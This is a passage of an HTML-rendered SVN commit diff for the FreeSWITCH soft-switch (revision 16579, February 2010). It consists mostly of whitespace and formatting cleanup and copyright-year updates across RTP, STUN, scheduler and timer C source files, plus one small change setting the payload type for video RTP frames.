</span><span class="cx">                                         handle_stun_ping_reply(rtp_session, (void *) &amp;rtp_session-&gt;recv_msg, bytes);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (rtp_session-&gt;invalid_handler) {
</span><span class="cx">                                 rtp_session-&gt;invalid_handler(rtp_session, rtp_session-&gt;sock_input, (void *) &amp;rtp_session-&gt;recv_msg, bytes, rtp_session-&gt;from_addr);
</span><span class="cx">                         }
</span><span class="lines">@@ -2183,7 +2183,6 @@
</span><span class="cx"> 
</span><span class="cx">                         bytes = sbytes;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifdef DEBUG_2833
</span><span class="cx">                 if (rtp_session-&gt;dtmf_data.in_digit_sanity &amp;&amp; !(rtp_session-&gt;dtmf_data.in_digit_sanity % 100)) {
</span><span class="cx">                         printf(&quot;sanity %d\n&quot;, rtp_session-&gt;dtmf_data.in_digit_sanity);
</span><span class="lines">@@ -2201,7 +2200,7 @@
</span><span class="cx">                    we put up with as much as we can so we don't have to deal with being punished for
</span><span class="cx">                    doing it right. Nice guys finish last!
</span><span class="cx">                  */
</span><del>-                if (bytes &amp;&amp; !switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA) &amp;&amp; 
</del><ins>+                if (bytes &amp;&amp; !switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA) &amp;&amp;
</ins><span class="cx">                         !switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833) &amp;&amp; rtp_session-&gt;recv_msg.header.pt == rtp_session-&gt;te) {
</span><span class="cx">                         switch_size_t len = bytes - rtp_header_len;
</span><span class="cx">                         unsigned char *packet = (unsigned char *) rtp_session-&gt;recv_msg.body;
</span><span class="lines">@@ -2235,8 +2234,8 @@
</span><span class="cx">                                         rtp_session-&gt;dtmf_data.in_digit_seq = 0;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-#ifdef DEBUG_2833                        
-                        printf(&quot;packet[%d]: %02x %02x %02x %02x\n&quot;, (int) len, (unsigned) packet[0],(unsigned)
</del><ins>+#ifdef DEBUG_2833
+                        printf(&quot;packet[%d]: %02x %02x %02x %02x\n&quot;, (int) len, (unsigned) packet[0], (unsigned)
</ins><span class="cx">                                    packet[1], (unsigned) packet[2], (unsigned) packet[3]);
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="lines">@@ -2244,9 +2243,9 @@
</span><span class="cx"> 
</span><span class="cx">                                 rtp_session-&gt;dtmf_data.in_digit_seq = in_digit_seq;
</span><span class="cx"> #ifdef DEBUG_2833
</span><del>-                                
-                                printf(&quot;read: %c %u %u %u %u %d %d %s\n&quot;, 
-                                           key, in_digit_seq, rtp_session-&gt;dtmf_data.in_digit_seq, 
</del><ins>+
+                                printf(&quot;read: %c %u %u %u %u %d %d %s\n&quot;,
+                                           key, in_digit_seq, rtp_session-&gt;dtmf_data.in_digit_seq,
</ins><span class="cx">                                            ts, duration, rtp_session-&gt;recv_msg.header.m, end, end &amp;&amp; !rtp_session-&gt;dtmf_data.in_digit_ts ? &quot;ignored&quot; : &quot;&quot;);
</span><span class="cx"> #endif
</span><span class="cx">                                 /* only set sanity if we do NOT ignore the packet */
</span><span class="lines">@@ -2257,7 +2256,7 @@
</span><span class="cx">                                 if (rtp_session-&gt;dtmf_data.last_duration &gt; duration &amp;&amp; rtp_session-&gt;dtmf_data.last_duration &gt; 0xFC17 &amp;&amp; ts == rtp_session-&gt;dtmf_data.in_digit_ts) {
</span><span class="cx">                                         rtp_session-&gt;dtmf_data.flip++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (end) {
</span><span class="cx">                                         if (rtp_session-&gt;dtmf_data.in_digit_ts) {
</span><span class="cx">                                                 switch_dtmf_t dtmf = { key, duration };
</span><span class="lines">@@ -2272,9 +2271,8 @@
</span><span class="cx">                                                         printf(&quot;you're welcome!\n&quot;);
</span><span class="cx"> #endif
</span><span class="cx">                                                 }
</span><del>-
</del><span class="cx"> #ifdef DEBUG_2833
</span><del>-                                                printf(&quot;done digit=%c ts=%u start_ts=%u dur=%u ddur=%u\n&quot;, 
</del><ins>+                                                printf(&quot;done digit=%c ts=%u start_ts=%u dur=%u ddur=%u\n&quot;,
</ins><span class="cx">                                                            dtmf.digit, ts, rtp_session-&gt;dtmf_data.in_digit_ts, duration, dtmf.duration);
</span><span class="cx"> #endif
</span><span class="cx">                                                 switch_rtp_queue_rfc2833_in(rtp_session, &amp;dtmf);
</span><span class="lines">@@ -2300,14 +2298,14 @@
</span><span class="cx">                                 rtp_session-&gt;dtmf_data.last_duration = duration;
</span><span class="cx">                         } else {
</span><span class="cx"> #ifdef DEBUG_2833
</span><del>-                                printf(&quot;drop: %c %u %u %u %u %d %d\n&quot;, 
</del><ins>+                                printf(&quot;drop: %c %u %u %u %u %d %d\n&quot;,
</ins><span class="cx">                                            key, in_digit_seq, rtp_session-&gt;dtmf_data.in_digit_seq, ts, duration, rtp_session-&gt;recv_msg.header.m, end);
</span><span class="cx"> #endif
</span><span class="cx">                                 switch_cond_next();
</span><span class="cx">                                 goto recvfrom;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (rtp_session-&gt;dtmf_data.in_digit_ts) {
</span><span class="cx">                         if (!switch_rtp_ready(rtp_session)) {
</span><span class="cx">                                 goto end;
</span><span class="lines">@@ -2315,12 +2313,12 @@
</span><span class="cx">                         return_cng_frame();
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        timer_check:
</del><ins>+          timer_check:
</ins><span class="cx"> 
</span><span class="cx">                 if (do_cng) {
</span><span class="cx">                         uint8_t *data = (uint8_t *) rtp_session-&gt;recv_msg.body;
</span><span class="cx">                         int fdr;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((poll_status = switch_poll(rtp_session-&gt;read_pollfd, 1, &amp;fdr, 0)) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 goto recvfrom;
</span><span class="cx">                         }
</span><span class="lines">@@ -2341,7 +2339,7 @@
</span><span class="cx">                                         switch_cond_next();
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 return_cng_frame();
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -2363,7 +2361,7 @@
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><span class="cx">           do_continue:
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!bytes &amp;&amp; !rtp_session-&gt;timer.interval) {
</span><span class="cx">                         switch_yield(sleep_mss);
</span><span class="cx">                 }
</span><span class="lines">@@ -2530,14 +2528,14 @@
</span><span class="cx"> #ifdef ENABLE_ZRTP
</span><span class="cx">         if (zrtp_on &amp;&amp; switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV)) {
</span><span class="cx">                 zrtp_session_info_t zrtp_session_info;
</span><del>-                
-                if (rtp_session-&gt;zrtp_session &amp;&amp; (zrtp_status_ok == zrtp_session_get(rtp_session-&gt;zrtp_session, &amp;zrtp_session_info))) { 
-                        if (zrtp_session_info.sas_is_ready) {    
</del><ins>+
+                if (rtp_session-&gt;zrtp_session &amp;&amp; (zrtp_status_ok == zrtp_session_get(rtp_session-&gt;zrtp_session, &amp;zrtp_session_info))) {
+                        if (zrtp_session_info.sas_is_ready) {
</ins><span class="cx">                                 switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session-&gt;pool, &quot;__session&quot;);
</span><span class="cx">                                 switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx"> 
</span><span class="cx">                                 const char *uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
</span><del>-                                if (uuid) { 
</del><ins>+                                if (uuid) {
</ins><span class="cx">                                         switch_core_session_t *other_session;
</span><span class="cx"> 
</span><span class="cx">                                         if ((other_session = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -2556,13 +2554,13 @@
</span><span class="cx">                                                                         switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
</span><span class="cx">                                                                         switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV);
</span><span class="cx">                                                                         switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
</span><del>-                                                                        zrtp_verified_set(zrtp_global, &amp;rtp_session-&gt;zrtp_session-&gt;zid, 
-                                                                                                          &amp;rtp_session-&gt;zrtp_session-&gt;peer_zid, zrtp_session_info.sas_is_verified^1);
</del><ins>+                                                                        zrtp_verified_set(zrtp_global, &amp;rtp_session-&gt;zrtp_session-&gt;zid,
+                                                                                                          &amp;rtp_session-&gt;zrtp_session-&gt;peer_zid, zrtp_session_info.sas_is_verified ^ 1);
</ins><span class="cx">                                                                         rtp_session-&gt;zrtp_mitm_tries++;
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 switch_core_session_rwunlock(other_session);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="lines">@@ -2572,7 +2570,6 @@
</span><span class="cx">                         switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-                        
</del><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         if (bytes &lt; 0) {
</span><span class="lines">@@ -2649,7 +2646,7 @@
</span><span class="cx">                         rtp_session-&gt;ts = (uint32_t) timestamp;
</span><span class="cx">                 } else if (rtp_session-&gt;timer.timer_interface) {
</span><span class="cx">                         rtp_session-&gt;ts = rtp_session-&gt;timer.samplecount;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (rtp_session-&gt;ts &lt;= rtp_session-&gt;last_write_ts) {
</span><span class="cx">                                 rtp_session-&gt;ts = rtp_session-&gt;last_write_ts + rtp_session-&gt;samples_per_interval;
</span><span class="cx">                         }
</span><span class="lines">@@ -2665,13 +2662,12 @@
</span><span class="cx">                         m++;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (rtp_session-&gt;timer.interval &amp;&amp; 
-                        (rtp_session-&gt;timer.samplecount - rtp_session-&gt;last_write_samplecount) &gt; rtp_session-&gt;samples_per_interval * 10) {
</del><ins>+                if (rtp_session-&gt;timer.interval &amp;&amp; (rtp_session-&gt;timer.samplecount - rtp_session-&gt;last_write_samplecount) &gt; rtp_session-&gt;samples_per_interval * 10) {
</ins><span class="cx">                         m++;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (!rtp_session-&gt;timer.interval &amp;&amp; 
-                        ((unsigned)((switch_micro_time_now() - rtp_session-&gt;last_write_timestamp))) &gt; (rtp_session-&gt;ms_per_packet * 10)) {
</del><ins>+                if (!rtp_session-&gt;timer.interval &amp;&amp;
+                        ((unsigned) ((switch_micro_time_now() - rtp_session-&gt;last_write_timestamp))) &gt; (rtp_session-&gt;ms_per_packet * 10)) {
</ins><span class="cx">                         m++;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -2831,9 +2827,9 @@
</span><span class="cx">                 if (1) {
</span><span class="cx">                         unsigned int sbytes = (int) bytes;
</span><span class="cx">                         zrtp_status_t stat = zrtp_status_fail;
</span><del>-                        
-                        stat = zrtp_process_rtp(rtp_session-&gt;zrtp_stream, (void*)send_msg, &amp;sbytes);
</del><span class="cx"> 
</span><ins>+                        stat = zrtp_process_rtp(rtp_session-&gt;zrtp_stream, (void *) send_msg, &amp;sbytes);
+
</ins><span class="cx">                         switch (stat) {
</span><span class="cx">                         case zrtp_status_ok:
</span><span class="cx">                                 break;
</span><span class="lines">@@ -2848,7 +2844,7 @@
</span><span class="cx">                         default:
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         bytes = sbytes;
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="lines">@@ -2857,7 +2853,7 @@
</span><span class="cx">                 {
</span><span class="cx">                         switch_time_t now = switch_time_now();
</span><span class="cx">                         int delta = (int) (now - rtp_session-&gt;send_time) / 1000;
</span><del>-                        printf(&quot;WRITE %d delta %d\n&quot;, (int)bytes, delta);
</del><ins>+                        printf(&quot;WRITE %d delta %d\n&quot;, (int) bytes, delta);
</ins><span class="cx">                         rtp_session-&gt;send_time = now;
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="lines">@@ -2875,21 +2871,21 @@
</span><span class="cx">                                 const char *my_host;
</span><span class="cx"> 
</span><span class="cx">                                 char bufa[30], bufb[30], bufc[30];
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session-&gt;from_addr);
</span><span class="cx">                                 old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session-&gt;remote_addr);
</span><span class="cx">                                 my_host = switch_get_addr(bufc, sizeof(bufc), rtp_session-&gt;local_addr);
</span><span class="cx"> 
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_CONSOLE,
</span><del>-                                                                  &quot;W %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n&quot;, 
</del><ins>+                                                                  &quot;W %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n&quot;,
</ins><span class="cx">                                                                   switch_channel_get_name(switch_core_session_get_channel(session)),
</span><del>-                                                                  (long)bytes,
</del><ins>+                                                                  (long) bytes,
</ins><span class="cx">                                                                   my_host, switch_sockaddr_get_port(rtp_session-&gt;local_addr),
</span><del>-                                                                  old_host, rtp_session-&gt;remote_port, 
</del><ins>+                                                                  old_host, rtp_session-&gt;remote_port,
</ins><span class="cx">                                                                   tx_host, switch_sockaddr_get_port(rtp_session-&gt;from_addr),
</span><span class="cx">                                                                   send_msg-&gt;header.pt, ntohl(send_msg-&gt;header.ts), send_msg-&gt;header.m);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -3004,11 +3000,11 @@
</span><span class="cx">         uint32_t len, ts = 0;
</span><span class="cx">         switch_payload_t payload = 0;
</span><span class="cx">         rtp_msg_t *send_msg = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_rtp_ready(rtp_session) || !rtp_session-&gt;remote_addr) {
</span><span class="cx">                 return -1;
</span><span class="cx">         }
</span><del>-
</del><ins>+        
</ins><span class="cx">         if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA)) {
</span><span class="cx">                 switch_size_t bytes;
</span><span class="cx">                 char bufa[30];
</span><span class="lines">@@ -3019,8 +3015,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 bytes = frame-&gt;packetlen;
</span><span class="cx">                 tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session-&gt;remote_addr);
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 send_msg = frame-&gt;packet;
</span><span class="cx"> 
</span><span class="cx">                 if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
</span><span class="lines">@@ -3030,26 +3026,25 @@
</span><span class="cx">                 if (switch_socket_sendto(rtp_session-&gt;sock_output, rtp_session-&gt;remote_addr, 0, frame-&gt;packet, &amp;bytes) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         return -1;
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 rtp_session-&gt;stats.outbound.raw_bytes += bytes;
</span><span class="cx">                 rtp_session-&gt;stats.outbound.media_bytes += bytes;
</span><span class="cx">                 rtp_session-&gt;stats.outbound.media_packet_count++;
</span><span class="cx">                 rtp_session-&gt;stats.outbound.packet_count++;
</span><span class="cx">                 return (int) bytes;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef ENABLE_ZRTP
</span><span class="cx">         if (zrtp_on &amp;&amp; switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND)) {
</span><span class="cx">                 zrtp_session_info_t zrtp_session_info;
</span><span class="cx"> 
</span><del>-                if (zrtp_status_ok == zrtp_session_get(rtp_session-&gt;zrtp_session, &amp;zrtp_session_info)) { 
-                        if (zrtp_session_info.sas_is_ready) {    
</del><ins>+                if (zrtp_status_ok == zrtp_session_get(rtp_session-&gt;zrtp_session, &amp;zrtp_session_info)) {
+                        if (zrtp_session_info.sas_is_ready) {
</ins><span class="cx">                                 switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session-&gt;pool, &quot;__session&quot;);
</span><span class="cx">                                 switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx"> 
</span><span class="cx">                                 const char *uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
</span><del>-                                if (uuid) { 
</del><ins>+                                if (uuid) {
</ins><span class="cx">                                         switch_core_session_t *other_session;
</span><span class="cx"> 
</span><span class="cx">                                         if ((other_session = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -3069,8 +3064,8 @@
</span><span class="cx">                                                                         switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
</span><span class="cx">                                                                         switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV);
</span><span class="cx">                                                                         switch_clear_flag(other_rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
</span><del>-                                                                        zrtp_verified_set(zrtp_global, &amp;rtp_session-&gt;zrtp_session-&gt;zid, 
-                                                                                                          &amp;rtp_session-&gt;zrtp_session-&gt;peer_zid, zrtp_session_info.sas_is_verified^1);
</del><ins>+                                                                        zrtp_verified_set(zrtp_global, &amp;rtp_session-&gt;zrtp_session-&gt;zid,
+                                                                                                          &amp;rtp_session-&gt;zrtp_session-&gt;peer_zid, zrtp_session_info.sas_is_verified ^ 1);
</ins><span class="cx">                                                                         rtp_session-&gt;zrtp_mitm_tries++;
</span><span class="cx">                                                                 }
</span><span class="cx">                                                                 rtp_session-&gt;zrtp_mitm_tries++;
</span><span class="lines">@@ -3093,14 +3088,14 @@
</span><span class="cx">                 if (rtp_session-&gt;cng_pt) {
</span><span class="cx">                         payload = rtp_session-&gt;cng_pt;
</span><span class="cx">                 } else {
</span><del>-                        return (int)frame-&gt;packetlen;
</del><ins>+                        return (int) frame-&gt;packetlen;
</ins><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="cx">                 payload = rtp_session-&gt;payload;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (switch_test_flag(frame, SFF_RTP_HEADER)) {
</span><del>-                switch_size_t wrote = switch_rtp_write_manual(rtp_session, frame-&gt;data, frame-&gt;datalen, 
</del><ins>+                switch_size_t wrote = switch_rtp_write_manual(rtp_session, frame-&gt;data, frame-&gt;datalen,
</ins><span class="cx">                                                                                                           frame-&gt;m, frame-&gt;payload, (uint32_t) (frame-&gt;timestamp), &amp;frame-&gt;flags);
</span><span class="cx"> 
</span><span class="cx">                 rtp_session-&gt;stats.outbound.raw_bytes += wrote;
</span><span class="lines">@@ -3122,6 +3117,10 @@
</span><span class="cx">                 ts = switch_test_flag(rtp_session, SWITCH_RTP_FLAG_RAW_WRITE) ? (uint32_t) frame-&gt;timestamp : 0;
</span><span class="cx">         }
</span><span class="cx"> 
</span><ins>+        if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
+                send_msg-&gt;header.pt = rtp_session-&gt;payload;
+        }
+
</ins><span class="cx">         return rtp_common_write(rtp_session, send_msg, data, len, payload, ts, &amp;frame-&gt;flags);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -3188,9 +3187,9 @@
</span><span class="cx">         if (1) {
</span><span class="cx">                 unsigned int sbytes = (int) bytes;
</span><span class="cx">                 zrtp_status_t stat = zrtp_status_fail;
</span><del>-                
-                stat = zrtp_process_rtp(rtp_session-&gt;zrtp_stream, (void*)&amp;rtp_session-&gt;write_msg, &amp;sbytes);
-                
</del><ins>+
+                stat = zrtp_process_rtp(rtp_session-&gt;zrtp_stream, (void *) &amp;rtp_session-&gt;write_msg, &amp;sbytes);
+
</ins><span class="cx">                 switch (stat) {
</span><span class="cx">                 case zrtp_status_ok:
</span><span class="cx">                         break;
</span><span class="lines">@@ -3205,10 +3204,11 @@
</span><span class="cx">                 default:
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 bytes = sbytes;
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><ins>+
</ins><span class="cx">         if (switch_socket_sendto(rtp_session-&gt;sock_output, rtp_session-&gt;remote_addr, 0, (void *) &amp;rtp_session-&gt;write_msg, &amp;bytes) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 rtp_session-&gt;seq--;
</span><span class="cx">                 ret = -1;
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_schedulerc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_scheduler.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_scheduler.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_scheduler.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -308,7 +308,7 @@
</span><span class="cx">                 switch_status_t st;
</span><span class="cx"> 
</span><span class="cx">                 globals.task_thread_running = -1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_thread_join(&amp;st, task_thread_p);
</span><span class="cx"> 
</span><span class="cx">                 while (globals.task_thread_running) {
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_stunc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_stun.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_stun.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_stun.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -343,7 +343,7 @@
</span><span class="cx">         char *p = ipstr;
</span><span class="cx"> 
</span><span class="cx">         ip = (switch_stun_ip_t *) attribute-&gt;value;
</span><del>-        i = (uint8_t *) &amp;ip-&gt;address;
</del><ins>+        i = (uint8_t *) &amp; ip-&gt;address;
</ins><span class="cx">         *ipstr = 0;
</span><span class="cx">         for (x = 0; x &lt; 4; x++) {
</span><span class="cx">                 sprintf(p, &quot;%u%s&quot;, i[x], x == 3 ? &quot;&quot; : &quot;.&quot;);
</span><span class="lines">@@ -386,14 +386,14 @@
</span><span class="cx">         uint8_t *i, x;
</span><span class="cx">         char *p = ipstr;
</span><span class="cx"> 
</span><del>-        attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) &amp;packet-&gt;first_attribute + ntohs(packet-&gt;header.length));
</del><ins>+        attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) &amp; packet-&gt;first_attribute + ntohs(packet-&gt;header.length));
</ins><span class="cx">         attribute-&gt;type = htons(SWITCH_STUN_ATTR_MAPPED_ADDRESS);
</span><span class="cx">         attribute-&gt;length = htons(8);
</span><span class="cx">         ip = (switch_stun_ip_t *) attribute-&gt;value;
</span><span class="cx"> 
</span><span class="cx">         ip-&gt;port = htons(port);
</span><span class="cx">         ip-&gt;family = 1;
</span><del>-        i = (uint8_t *) &amp;ip-&gt;address;
</del><ins>+        i = (uint8_t *) &amp; ip-&gt;address;
</ins><span class="cx"> 
</span><span class="cx">         for (x = 0; x &lt; 4; x++) {
</span><span class="cx">                 i[x] = (uint8_t) atoi(p);
</span><span class="lines">@@ -415,7 +415,7 @@
</span><span class="cx">         if (ulen % 4 != 0) {
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><del>-        attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) &amp;packet-&gt;first_attribute + ntohs(packet-&gt;header.length));
</del><ins>+        attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) &amp; packet-&gt;first_attribute + ntohs(packet-&gt;header.length));
</ins><span class="cx">         attribute-&gt;type = htons(SWITCH_STUN_ATTR_USERNAME);
</span><span class="cx">         attribute-&gt;length = htons(ulen);
</span><span class="cx">         if (username) {
</span><span class="lines">@@ -432,10 +432,10 @@
</span><span class="cx"> {
</span><span class="cx">         switch_sockaddr_t *addr = NULL;
</span><span class="cx">         char buf[30];
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_sockaddr_info_get(&amp;addr, host, SWITCH_UNSPEC, 0, 0, pool);
</span><span class="cx">         return switch_core_strdup(pool, switch_str_nil(switch_get_addr(buf, sizeof(buf), addr)));
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_stun_lookup(char **ip,
</span><span class="lines">@@ -508,7 +508,7 @@
</span><span class="cx">                 buf[bytes++] = 0;
</span><span class="cx">                 buf[bytes++] = 0;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_socket_sendto(sock, remote_addr, 0, (void *) packet, &amp;bytes);
</span><span class="cx">         started = switch_micro_time_now();
</span><span class="cx"> 
</span><span class="lines">@@ -549,7 +549,7 @@
</span><span class="cx">                 case SWITCH_STUN_ATTR_MAPPED_ADDRESS:
</span><span class="cx">                         if (attr-&gt;type) {
</span><span class="cx">                                 if (funny) {
</span><del>-                                        switch_stun_ip_t *tmp = (switch_stun_ip_t *)attr-&gt;value;
</del><ins>+                                        switch_stun_ip_t *tmp = (switch_stun_ip_t *) attr-&gt;value;
</ins><span class="cx">                                         tmp-&gt;address ^= ntohl(0xabcdabcd);
</span><span class="cx">                                 }
</span><span class="cx">                                 switch_stun_packet_attribute_get_mapped_address(attr, rip, &amp;rport);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_swigc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_swig.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_swig.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_swig.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_timec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_time.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_time.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_time.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -54,7 +54,7 @@
</span><span class="cx"> static int MONO = 0;
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-#if defined(HAVE_CLOCK_NANOSLEEP) 
</del><ins>+#if defined(HAVE_CLOCK_NANOSLEEP)
</ins><span class="cx"> static int NANO = 1;
</span><span class="cx"> #else
</span><span class="cx"> static int NANO = 0;
</span><span class="lines">@@ -139,7 +139,7 @@
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><del>-        
</del><ins>+
</ins><span class="cx"> #if defined(HAVE_CLOCK_NANOSLEEP)
</span><span class="cx">         t -= OFFSET;
</span><span class="cx">         ts.tv_sec = t / 1000000;
</span><span class="lines">@@ -155,7 +155,7 @@
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> #if defined(DARWIN)
</span><del>-sched_yield();
</del><ins>+        sched_yield();
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="lines">@@ -165,7 +165,7 @@
